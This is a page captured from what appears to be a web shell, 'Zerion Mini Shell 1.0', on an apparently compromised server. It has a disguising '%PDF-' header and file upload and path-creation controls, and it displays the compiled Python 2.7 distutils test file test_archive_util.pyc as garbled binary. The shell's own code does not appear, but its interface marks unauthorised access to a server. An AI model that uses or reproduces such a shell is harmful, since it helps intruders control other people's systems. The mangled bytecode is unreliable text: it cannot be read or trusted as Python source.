%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/distutils/tests/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/distutils/tests/test_archive_util.pyc

ó
Pêáac@s¯dZdZddlZddlZddlZddlZddlmZddlZddl	m
Z
mZmZm
Z
mZddlmZmZddlmZddlmZmZy"ddlZddlZeZWnek
r÷eZnXyddlZeZWnek
r-ed	ƒZnXyddlZWnek
rWe ZnXd
„Z!dej"ej#ej$fd„ƒYZ%d
„Z&e'dkr«ee&ƒƒndS(s!Tests for distutils.archive_util.s$Id$iÿÿÿÿN(t
splitdrive(tcheck_archive_formatstmake_tarballtmake_zipfiletmake_archivetARCHIVE_FORMATS(tfind_executabletspawn(tsupport(tcheck_warningstrun_unittesttzipcCs@tjjrtSy|jtjƒƒWntk
r;tSXtS(sF
    Return True if the filename can be saved in the file system.
    (	tostpathtsupports_unicode_filenamestTruetencodetsystgetfilesystemencodingtUnicodeEncodeErrortFalse(tfilename((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyt
can_fs_encode&s
tArchiveUtilTestCasecBs¯eZejedƒd„ƒZd„Zd„Zd„Zejedƒeje	dƒofe	dƒdƒd	„ƒƒZ
eje	d
ƒdƒd„ƒZejedƒejed
ƒd„ƒƒZ
d„Zd„Zejedƒd„ƒZejedƒejedƒd„ƒƒZd„Zejedƒd„ƒZejedƒejedƒdƒd„ƒƒZejedƒejedƒdƒd„ƒƒZRS(s
requires zlibcCs|jdƒdS(Ntarchive(t
_make_tarball(tself((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyttest_make_tarball7scCs§|jƒ}|j|dgdƒ|j|dgdƒtjtjj|dƒƒ|j|ddgdƒ|jƒ}tjt|ƒdt|ƒdkdƒtjj||ƒ}tj	ƒ}tj
|ƒztt|ƒdd	ƒWdtj
|ƒX|d
}|jtjj
|ƒƒtjj||ƒ}tj	ƒ}tj
|ƒz!tt|ƒdd	ddƒWdtj
|ƒX|d}|jtjj
|ƒƒdS(
Ntfile1txxxtfile2tsubtfile3is)source and target should be on same driveit.s.tar.gztcompresss.tar(tmkdtempt
write_fileRtmkdirR
tjointunittestt
skipUnlessRtgetcwdtchdirRt
assertTruetexiststNone(Rttarget_namettmpdirttmpdir2t	base_nametold_dirttarball((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyR;s0#


!
cCs?tj|ƒ}z|jƒ}|jƒ|SWd|jƒXdS(N(ttarfiletopentgetnamestsorttclose(RR
ttartnames((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyt_tarinfo`s
cCsÙ|jƒ}tjj|dƒ}tj|ƒ|j|dgdƒ|j|dgdƒtjtjj|dƒƒ|j|ddgdƒtjtjj|dƒƒ|jƒ}tjj|dƒ}|||fS(	NtdistRRRRR tsub2R(R#RR
R&R%R$(RR/R<R0R1((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyt
_create_filesis
s
Requires zlibR9tgzipsNeed the tar command to runc	Cs"|jƒ\}}}tjƒ}tj|ƒzt|dƒWdtj|ƒX|d}|jtjj|ƒƒtjj|dƒ}ddddg}dddg}tjƒ}tj|ƒzt	|ƒt	|ƒWdtj|ƒX|jtjj|ƒƒ|j
|j|ƒ|j|ƒƒtjj|d	ƒ}tjƒ}tj|ƒzt|dd
dƒWdtj|ƒX|d}|jtjj|ƒƒtjj|d	ƒ}tjƒ}tj|ƒzt|dd
ddt
ƒWdtj|ƒX|d}|jtjj|ƒƒdS(
NR<s.tar.gzsarchive2.tar.gzR9s-cfsarchive2.tarR?s-f9RR"s.tartdry_run(R>RR)R*RR+R
R,R&RtassertEqualR;R-R(	RR/R0R1R2R3ttarball2ttar_cmdtgzip_cmd((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyttest_tarfile_vs_tarwsF



"



R"s The compress program is requiredcCsZ|jƒ\}}}tjƒ}tj|ƒz6tƒ'}tjdƒt|dddƒWdQXWdtj|ƒX|d}|jtj	j
|ƒƒ|jt|jƒdƒtj
|ƒtjƒ}tj|ƒz<tƒ-}tjdƒt|ddddtƒWdQXWdtj|ƒX|jtj	j
|ƒƒ|jt|jƒdƒdS(NtalwaysR<R"s.tar.ZiR@(R>RR)R*R	twarningstsimplefilterRR+R
R,RAtlentremoveRtassertFalse(RR/R0R1R2twR3((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyttest_compress_deprecated­s,





sNeed zip support to runcCst|jƒ}|j|dgdƒ|j|dgdƒ|jƒ}tjj|dƒ}t||ƒ|d}dS(NRRRRs.zip(R#R$RR
R&R(RR/R0R1R3((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyttest_make_zipfileÍs
cCs?|jtdddgƒdƒ|jtddgƒdƒdS(NtgztarRR(RARR-(R((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyttest_check_archive_formatsÜscCs;|jƒ}tjj|dƒ}|jtt|dƒdS(NRR(R#RR
R&tassertRaisest
ValueErrorR(RR/R1((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyttest_make_archiveásc	CsItr/tjdƒd}tjdƒd}n
d}}|jƒ\}}}tjj|j	ƒdƒ}t
|d||d|d|ƒ}|jtjj|ƒƒt
|d||ƒ}|jtjj|ƒƒt
|d||d|d|ƒ}|jtjj|ƒƒt
|d||dddd	ƒ}|jtjj|ƒƒdS(
NitrootRRtownertgroupR9t	kjhkjhkjgtoihohoh(
tUID_GID_SUPPORTtgrptgetgrgidtpwdtgetpwuidR>RR
R&R#RR+R,(RRVRUtbase_dirtroot_dirR1tres((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyttest_make_archive_owner_groupæs"
	sRequires grp and pwd supportc
	Cs|jƒ\}}}tjƒ}tj|ƒtjdƒd}tjdƒd}z%t|dddd|d|ƒ}Wdtj|ƒX|j
tjj|ƒƒt
j|ƒ}zAx:|jƒD],}	|j|	jdƒ|j|	jdƒqÂWWd|jƒXdS(NiR<R"RURV(R>RR)R*RZR[R\R]RR-R+R
R,R4R5t
getmembersRAtuidtgidR8(
RR/R0R1R2RVRUtarchive_nameRtmember((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyttest_tarfile_root_owners 
cCsxtjƒ}d„}|gdftd<zAytddd|jƒƒWnnX|jtjƒ|ƒWdtd=XdS(Nc_s
tƒ‚dS(N(tRuntimeError(targstkw((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyt_breaksssxxx fileRR_(RR)RRR#RA(Rtcurrent_dirRk((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyttest_make_archive_cwds	cCs|jdƒdS(sG
        Mirror test_make_tarball, except filename is unicode.
        uarchiveN(R(R((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyttest_make_tarball_unicode)suÃ¥rchivs'File system cannot handle this filenamecCs|jdƒdS(sm
        Mirror test_make_tarball, except filename is unicode and contains
        latin characters.
        uÃ¥rchivN(R(R((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyt test_make_tarball_unicode_latin10suã®ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–cCs|jdƒdS(s
        Mirror test_make_tarball, except filename is unicode and contains
        characters outside the latin charset.
        uã®ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–N(R(R((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyt"test_make_tarball_unicode_extended:s(t__name__t
__module__R'R(tzlibRRR;R>RRERMtZIP_SUPPORTRNRPRSRaRYRgRmRnRRoRp(((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyR3s0	%			4			cCs
tjtƒS(N(R't	makeSuiteR(((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyt
test_suiteDst__main__((t__doc__t__revision__R'RRR4tos.pathRRGtdistutils.archive_utilRRRRRtdistutils.spawnRRtdistutils.testsRttest.test_supportR	R
RZR\RRYtImportErrorRtzipfileRtRsR-RtTempdirManagertLoggingSilencertTestCaseRRvRq(((s=/usr/local/lib/python2.7/distutils/tests/test_archive_util.pyt<module>sD(






	
	ÿ	

Zerion Mini Shell 1.0